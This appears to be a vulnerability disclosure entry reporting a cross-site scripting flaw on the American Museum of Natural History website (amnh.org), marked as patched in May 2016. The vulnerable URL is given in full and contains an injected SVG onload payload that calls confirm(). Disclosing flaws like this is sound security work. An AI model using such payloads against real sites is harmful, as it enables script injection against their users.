amnh.org XSS vulnerability

Vulnerable URL: http://www.amnh.org/education/resources/rfl/web/mythicguide/popup.php?img=talonlg.jpg=Haast%22%3E%3Csvg/onload=confirm%28/xssposed/%29%3E's%20Eagle%20Talon,%20New%20Zealand%20CAMNH Details: Description| Value ---|--- Patched:| Yes, at 16.05.2016 Latest check for patch:| 16.05.2016...